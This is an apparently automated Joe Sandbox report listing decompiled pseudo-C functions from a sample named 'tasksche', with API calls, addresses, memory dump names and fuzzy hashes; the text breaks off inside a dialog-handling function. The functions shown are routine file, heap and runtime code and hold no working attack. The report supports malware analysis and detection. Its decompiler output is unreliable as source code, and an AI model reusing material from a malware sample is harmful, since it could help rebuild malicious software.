Uniqueness

Uniqueness Score: -1.00%

Function 00408F4B Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00408F4B(intOrPtr* __ecx, long _a4, long _a8, signed int _a12) {
				long _v8;
				void* __ebp;
				void* _t16;
				long _t20;
				void* _t22;
				void* _t25;
				long _t27;
				intOrPtr* _t30;
				long _t33;

				_t24 = __ecx;
				_push(__ecx);
				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L12:
					_t16 = 1;
				} else {
					_t27 = _a8;
					_t33 = _t27;
					if(_t33 <= 0 && (_t33 < 0 || _a4 < 0) && _a12 != 0) {
						if(_a12 != 1) {
							_t22 = E00408E03(_t24, _t25);
						} else {
							_t22 =  *((intOrPtr*)( *_t30 + 0x10))();
						}
						_a4 = _a4 + _t22;
						asm("adc edi, edx");
						_a12 = _a12 & 0x00000000;
					}
					_v8 = _t27;
					_t20 = SetFilePointer( *(_t30 + 4), _a4,  &_v8, _a12); // executed
					if(_t20 != 0xffffffff || GetLastError() == 0) {
						goto L12;
					} else {
						_t16 = 0;
					}
				}
				return _t16;
			}

0x00408f4b
0x00408f4e
0x00408f50
0x00408f56
0x00408fb8
0x00408fb8
0x00408f58
0x00408f59
0x00408f5c
0x00408f5e
0x00408f72
0x00408f7b
0x00408f74
0x00408f76
0x00408f76
0x00408f80
0x00408f83
0x00408f85
0x00408f85
0x00408f98
0x00408f9e
0x00408fa8
0x00000000
0x00408fb4
0x00408fb4
0x00408fb4
0x00408fa8
0x00408fbc

APIs

SetFilePointer.KERNELBASE(?,?,00000001,00000000,?,?,?,?,00408FD1,00000000,00000000,00000000,?,00407DE2,?,?), ref: 00408F9E
GetLastError.KERNEL32(00408FD1,00000000,00000000,00000000,?,00407DE2,?,?,?,?,?,?,?,?), ref: 00408FAA

Part of subcall function 00408E03: __EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: 8f73542768b2570d89793d5c7c9f26abd7c04750c296d09cd2d18b99acf1fb97
Instruction ID: 31f7e80921147255a447777291f97898e209bd40052f61b908ef1a5d0e3b9beb
Opcode Fuzzy Hash: 8f73542768b2570d89793d5c7c9f26abd7c04750c296d09cd2d18b99acf1fb97
Instruction Fuzzy Hash: 1E019631200306DBCF248F64CD046AE776ABF813A5F14463EF8A1A22D0DB78D951DA55

Uniqueness

Uniqueness Score: -1.00%

Function 0041A89A Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041A89A(void* __ebx, void* __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v0;
				char _v16;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t39;
				signed int _t40;
				signed int _t46;
				void* _t51;
				void* _t53;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t62;
				void* _t74;
				void* _t75;
				signed int _t76;
				signed int _t79;

				_t75 = __edi;
				_t74 = __edx;
				_t62 = __ebx;
				while(1) {
					_t39 = E0041CF3E(_t62, _t74, _t75, _a4); // executed
					if(_t39 != 0) {
						break;
					}
					_t40 = E0041FC9B(_a4);
					__eflags = _t40;
					if(_t40 == 0) {
						__eflags =  *0x44f810 & 0x00000001;
						if(( *0x44f810 & 0x00000001) == 0) {
							 *0x44f810 =  *0x44f810 | 0x00000001;
							__eflags =  *0x44f810;
							E0041216A(0x44f804);
							E0041C9CF( *0x44f810, 0x4299d0);
						}
						E004125FA( &_v16, 0x44f804);
						E0041C77F( &_v16, 0x42d504);
						asm("int3");
						_push(_t62);
						__eflags = _v0;
						if(__eflags != 0) {
							_push(0x44f804);
							_t79 = _a4;
							_push(_t75);
							_t76 = _a8;
							__eflags = _t76;
							if(_t76 == 0) {
								L12:
								_v28 = 0x42;
								_v32 = _t79;
								_v40 = _t79;
								__eflags = _t76 - 0x3fffffff;
								if(_t76 <= 0x3fffffff) {
									_v36 = _t76 + _t76;
								} else {
									_v36 = 0x7fffffff;
								}
								_t46 = _v0( &_v40, _a12, _a16, _a20);
								_a12 = _t46;
								__eflags = _t79;
								if(_t79 != 0) {
									__eflags = _t46;
									if(_t46 < 0) {
										L24:
										__eflags = _v36;
										 *((short*)(_t79 + _t76 * 2 - 2)) = 0;
										_t46 = 0 | _v36 >= 0x00000000;
										__eflags = _t46;
									} else {
										_t22 =  &_v36;
										 *_t22 = _v36 - 1;
										__eflags =  *_t22;
										if( *_t22 < 0) {
											_t51 = E0041FE68(_t74, _t76, 0,  &_v40);
											__eflags = _t51 - 0xffffffff;
											if(_t51 == 0xffffffff) {
												goto L24;
											} else {
												goto L20;
											}
										} else {
											 *_v40 = 0;
											_v40 = _v40 + 1;
											L20:
											_t28 =  &_v36;
											 *_t28 = _v36 - 1;
											__eflags =  *_t28;
											if( *_t28 < 0) {
												_t53 = E0041FE68(_t74, _t76, 0,  &_v40);
												__eflags = _t53 - 0xffffffff;
												if(_t53 == 0xffffffff) {
													goto L24;
												} else {
													goto L23;
												}
											} else {
												 *_v40 = 0;
												L23:
												_t46 = _a12;
											}
										}
									}
								}
							} else {
								__eflags = _t79;
								if(__eflags != 0) {
									goto L12;
								} else {
									_t56 = E0041EDAE(__eflags);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									 *_t56 = 0x16;
									_t46 = E00420103(_t74, _t76, _t79) | 0xffffffff;
								}
							}
						} else {
							_t58 = E0041EDAE(__eflags);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							 *_t58 = 0x16;
							_t46 = E00420103(_t74, _t75, 0x44f804) | 0xffffffff;
						}
						return _t46;
					} else {
						continue;
					}
					L27:
				}
				return _t39;
				goto L27;
			}

0x0041a89a
0x0041a89a
0x0041a89a
0x0041a8b1
0x0041a8b4
0x0041a8bc
0x00000000
0x00000000
0x0041a8a7
0x0041a8ad
0x0041a8af
0x0041a8c0
0x0041a8cc
0x0041a8ce
0x0041a8ce
0x0041a8d7
0x0041a8e1
0x0041a8e6
0x0041a8eb
0x0041a8f9
0x0041a8fe
0x0041a907
0x0041a90a
0x0041a90d
0x0041a92f
0x0041a930
0x0041a933
0x0041a934
0x0041a937
0x0041a939
0x0041a95f
0x0041a95f
0x0041a966
0x0041a969
0x0041a96c
0x0041a972
0x0041a980
0x0041a974
0x0041a974
0x0041a974
0x0041a990
0x0041a996
0x0041a999
0x0041a99b
0x0041a99d
0x0041a99f
0x0041a9e3
0x0041a9e5
0x0041a9e8
0x0041a9f1
0x0041a9f1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a4
0x0041a9b5
0x0041a9bc
0x0041a9bf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9a6
0x0041a9a9
0x0041a9ab
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c4
0x0041a9d2
0x0041a9d9
0x0041a9dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9c6
0x0041a9c9
0x0041a9de
0x0041a9de
0x0041a9de
0x0041a9c4
0x0041a9a4
0x0041a99f
0x0041a93b
0x0041a93b
0x0041a93d
0x00000000
0x0041a93f
0x0041a93f
0x0041a944
0x0041a945
0x0041a946
0x0041a947
0x0041a948
0x0041a949
0x0041a957
0x0041a957
0x0041a93d
0x0041a90f
0x0041a90f
0x0041a914
0x0041a915
0x0041a916
0x0041a917
0x0041a918
0x0041a919
0x0041a927
0x0041a927
0x0041a9f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a8af
0x0041a8bf
0x00000000

APIs

_malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

__CxxThrowException@8.LIBCMT ref: 0041A8F9

Part of subcall function 0041216A: std::exception::exception.LIBCMT ref: 00412174

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::exception::exception
String ID:
API String ID: 1264268182-0
Opcode ID: 69b17686e72ca0b7b94d80b67cb0b09cd0b57e37d79a79ca1bca03cffac1714a
Instruction ID: 42064790ed8d2a037bfba99cbedd4ff18ff19c5b52db1d8e26b3e688ef0b8114
Opcode Fuzzy Hash: 69b17686e72ca0b7b94d80b67cb0b09cd0b57e37d79a79ca1bca03cffac1714a
Instruction Fuzzy Hash: 64F0E23160021972CB047B22ED46ACE37586F01728B10403BFC1199192DFAC9ADA919E

Uniqueness

Uniqueness Score: -1.00%

Function 00410EDB Relevance: 3.0, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410EDB(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t11;
				signed int _t14;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					L6:
					return 1;
				}
				_t11 = 0;
				_t14 = 1;
				do {
					if((_v8 & _t14) != 0) {
						_t11 = _t11 + 1;
					}
					_t14 = _t14 + _t14;
				} while (_t14 != 0);
				if(_t11 < 1) {
					goto L6;
				}
				return _t11;
			}

0x00410eef
0x00410ef7
0x00410f0d
0x00000000
0x00410f0f
0x00410efb
0x00410efd
0x00410efe
0x00410f01
0x00410f03
0x00410f03
0x00410f04
0x00410f04
0x00410f0b
0x00000000
0x00000000
0x00410f11

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,00410F17,00409FF4), ref: 00410EE8
GetProcessAffinityMask.KERNEL32 ref: 00410EEF

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction ID: ae3045e16ef29d64dcafac8e7d0c22bbd438388315c71f77e1501110187c073f
Opcode Fuzzy Hash: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction Fuzzy Hash: 86E08672A1020AA78F2897A0CD4A9EF32ACEB01215700087BE503C1640EAF8D5D24629

Uniqueness

Uniqueness Score: -1.00%

Function 00408A32 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00408A32(void* __ecx) {
				void* _t9;
				int _t12;
				void* _t13;
				void* _t19;

				_t19 = __ecx;
				_t9 =  *(__ecx + 4);
				_t13 = 1;
				if(_t9 != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t12 = FindCloseChangeNotification(_t9); // executed
						asm("sbb bl, bl");
						_t13 =  ~(_t12 - 1) + 1;
					}
					 *(_t19 + 4) =  *(_t19 + 4) | 0xffffffff;
				}
				 *(_t19 + 0xc) =  *(_t19 + 0xc) & 0x00000000;
				if(_t13 == 0 &&  *((intOrPtr*)(_t19 + 0x14)) != _t13) {
					E004063E1(0x4335ac, _t19 + 0x1e);
				}
				return _t13;
			}

0x00408a34
0x00408a36
0x00408a39
0x00408a3e
0x00408a44
0x00408a4d
0x00408a58
0x00408a5a
0x00408a5a
0x00408a5c
0x00408a5c
0x00408a60
0x00408a66
0x00408a76
0x00408a76
0x00408a7f

APIs

FindCloseChangeNotification.KERNELBASE(?,7703F370,00000000,0040868D,?,?,?,?,00407427,?,00000000,?,00000800,?,?,?), ref: 00408A4D

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction ID: ad6283f58ebf58fc73997c28fab75cfea7daa8eae0e70c9973603df5d86841c1
Opcode Fuzzy Hash: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction Fuzzy Hash: 55F027706427044FD73056384A4879333D85B16331F049B2FD8E2A3BC0CB7898894E64

Uniqueness

Uniqueness Score: -1.00%

Function 00405512 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00405512(void* __ebx, intOrPtr __ecx, void* __edi, void* __eflags) {
				void* _t38;

				E0041A4DC(E004295E1, _t38);
				_push(__ecx);
				 *((intOrPtr*)(_t38 - 0x10)) = __ecx;
				E0040A026(__ecx, __edi); // executed
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				E00410D8E(__ecx + 0x92d4);
				 *(_t38 - 4) = 1;
				E00410D8E(__ecx + 0x9330);
				 *(_t38 - 4) = 2;
				E00410D8E(__ecx + 0x938c);
				 *(_t38 - 4) = 3;
				E00410D8E(__ecx + 0x93e8);
				 *(_t38 - 4) = 4;
				E00410D8E(__ecx + 0x9444);
				 *(_t38 - 4) = 5;
				E00405394(__ebx, __ecx, __edi,  *(_t38 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return __ecx;
			}

0x00405517
0x0040551c
0x00405520
0x00405523
0x00405528
0x00405532
0x0040553d
0x00405541
0x0040554c
0x00405550
0x0040555b
0x0040555f
0x0040556a
0x0040556e
0x00405575
0x00405579
0x00405584
0x0040558c

APIs

__EH_prolog.LIBCMT ref: 00405517

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction ID: fa77f21fc7194b1e08a14eb3a2c561e3cb85337c9bb77c22dcaa42305da5d14c
Opcode Fuzzy Hash: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction Fuzzy Hash: A2013130901694DAD715EBA5D1157DDB7B49F14308F00449FE456532C3DFF82B84CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3AC Relevance: 1.5, APIs: 1, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040D3AC(WCHAR* _a4, char _a8) {
				short _v10244;
				WCHAR* _t7;

				E0041AAF0(0x2800);
				_t7 = _a4;
				if(_t7 == 0) {
					L3:
					 *0x441838 =  *0x441838 + 1;
					return _t7;
				}
				if( *_t7 != 0) {
					wvsprintfW( &_v10244, _t7,  &_a8);
					_t7 = E0040D298(1,  &_v10244); // executed
					goto L3;
				}
				return _t7;
			}

0x0040d3b4
0x0040d3b9
0x0040d3be
0x0040d3e6
0x0040d3e6
0x00000000
0x0040d3e6
0x0040d3c4
0x0040d3d2
0x0040d3e1
0x00000000
0x0040d3e1
0x0040d3ed

APIs

wvsprintfW.USER32(?,?,00000456), ref: 0040D3D2

Part of subcall function 0040D298: GetDlgItem.USER32 ref: 0040D2A9
Part of subcall function 0040D298: ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30,00001000), ref: 0040D2D6
Part of subcall function 0040D298: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0040D2E2
Part of subcall function 0040D298: SendMessageW.USER32(00000000,000000C2,00000000,0042A73C), ref: 0040D2F1
Part of subcall function 0040D298: SendMessageW.USER32(00401BB7,000000B1,05F5E100,05F5E100), ref: 0040D305
Part of subcall function 0040D298: SendMessageW.USER32(00401BB7,0000043A,00000000,?), ref: 0040D31C
Part of subcall function 0040D298: SendMessageW.USER32(00401BB7,00000444,00000001,0000005C), ref: 0040D357
Part of subcall function 0040D298: SendMessageW.USER32(00401BB7,000000C2,00000000,00000456), ref: 0040D366
Part of subcall function 0040D298: SendMessageW.USER32(00401BB7,000000B1,05F5E100,05F5E100), ref: 0040D36E
Part of subcall function 0040D298: SendMessageW.USER32(00401BB7,00000444,00000001,0000005C), ref: 0040D392
Part of subcall function 0040D298: SendMessageW.USER32(00401BB7,000000C2,00000000,0042A810), ref: 0040D3A3

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$ItemShowWindowwvsprintf
String ID:
API String ID: 3976247692-0
Opcode ID: 872e207f56ec077206bf84a4a1d177abcfe9033d6c824f81f742212a50da87b8
Instruction ID: 874ecf1e959e34d07e894a1e0148939ab28884dc32b746ad5dfb7069c890c0eb
Opcode Fuzzy Hash: 872e207f56ec077206bf84a4a1d177abcfe9033d6c824f81f742212a50da87b8
Instruction Fuzzy Hash: 64E04F3450020D9ADB10AB94DC89EAA73ACEB00704F04406AB905961D1EAB4E9C8CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDF7 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EDF7(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44f848 = _t6;
				if(_t6 != 0) {
					 *0x451420 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0041ee0c
0x0041ee12
0x0041ee19
0x0041ee20
0x0041ee26
0x0041ee1c
0x0041ee1c
0x0041ee1c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041EE0C

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction ID: eb53d8fa6b9c670d76401f9b6e634384cdf5b6bc28e7f080834842f41bea832e
Opcode Fuzzy Hash: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction Fuzzy Hash: E6D05E366503485ADB106F716C09B763BDCD384396F104436BC1DC6150F775C5A09A48

Uniqueness

Uniqueness Score: -1.00%

Function 0041C993 Relevance: 1.5, APIs: 1, Instructions: 14
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041C993(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t9;
				void* _t18;

				_push(0xc);
				_push(0x42d6f8);
				E0041FA9C(__ebx, __edi, __esi);
				E00421501();
				 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
				_t9 = E0041C8A8(__edx,  *((intOrPtr*)(_t18 + 8))); // executed
				 *((intOrPtr*)(_t18 - 0x1c)) = _t9;
				 *(_t18 - 4) = 0xfffffffe;
				E0041C9C9();
				return E0041FAE1( *((intOrPtr*)(_t18 - 0x1c)));
			}

0x0041c993
0x0041c995
0x0041c99a
0x0041c99f
0x0041c9a4
0x0041c9ab
0x0041c9b1
0x0041c9b4
0x0041c9bb
0x0041c9c8

APIs

Part of subcall function 00421501: __lock.LIBCMT ref: 00421503

__onexit_nolock.LIBCMT ref: 0041C9AB

Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8B7
Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8C7
Part of subcall function 0041C8A8: __msize.LIBCMT ref: 0041C8E5
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C909
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C91F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C931
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C93F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C94A

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
String ID:
API String ID: 1316407801-0
Opcode ID: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction ID: e58e71dbedfae0fd7c0196075773fdb904cc218e0a70426679e08a5f69f6d609
Opcode Fuzzy Hash: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction Fuzzy Hash: 8ED05B71E41605EACB10BFE6DC427CD77706F44315F60416FB018550D2C67C45C14A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0041E75F Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E75F() {
				void* _t1;

				_t1 = E0041E6ED(0); // executed
				return _t1;
			}

0x0041e761
0x0041e767

APIs

__encode_pointer.LIBCMT ref: 0041E761

Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E6FF
Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000005,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E716
Part of subcall function 0041E6ED: RtlEncodePointer.NTDLL(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E754

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 4883469bbd1ea34a64006740ed19a0f762d603c0c8182deb4ccf55bf016c8140
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DE5E Relevance: 52.8, APIs: 27, Strings: 3, Instructions: 291
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040DE5E(void* __ecx, void* __edx, void* __eflags) {
				void* _t71;
				void* _t86;
				int _t87;
				void* _t102;
				signed int _t130;
				void* _t139;
				void* _t150;
				struct HICON__* _t151;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				void* _t163;
				signed int _t167;
				void* _t169;
				struct HWND__* _t173;
				int _t179;
				void* _t181;
				void* _t183;
				void* _t185;

				_t169 = __edx;
				_t181 = _t183 - 0x68;
				E0041AAF0(0x1a50);
				_t173 =  *(_t181 + 0x70);
				if(E004060EE(__edx, _t173,  *(_t181 + 0x74),  *(_t181 + 0x78),  *((intOrPtr*)(_t181 + 0x7c)), L"REPLACEFILEDLG", 0, 0) == 0) {
					_t71 =  *(_t181 + 0x74) - 0x110;
					if(_t71 == 0) {
						SetFocus(GetDlgItem(_t173, 0x6c));
						E00410B9C(_t181 - 0x19e8,  *((intOrPtr*)(_t181 + 0x7c)), 0x800);
						E0040A2B0(_t181 - 0x19e8, _t181 - 0x19e8, 0x800);
						SetDlgItemTextW(_t173, 0x65, _t181 - 0x19e8);
						SHGetFileInfoW(_t181 - 0x19e8, 0, _t181 - 0x9e8, 0x2b4, 0x100);
						SendDlgItemMessageW( *(_t181 + 0x70), 0x66, 0x170,  *(_t181 - 0x9e8), 0);
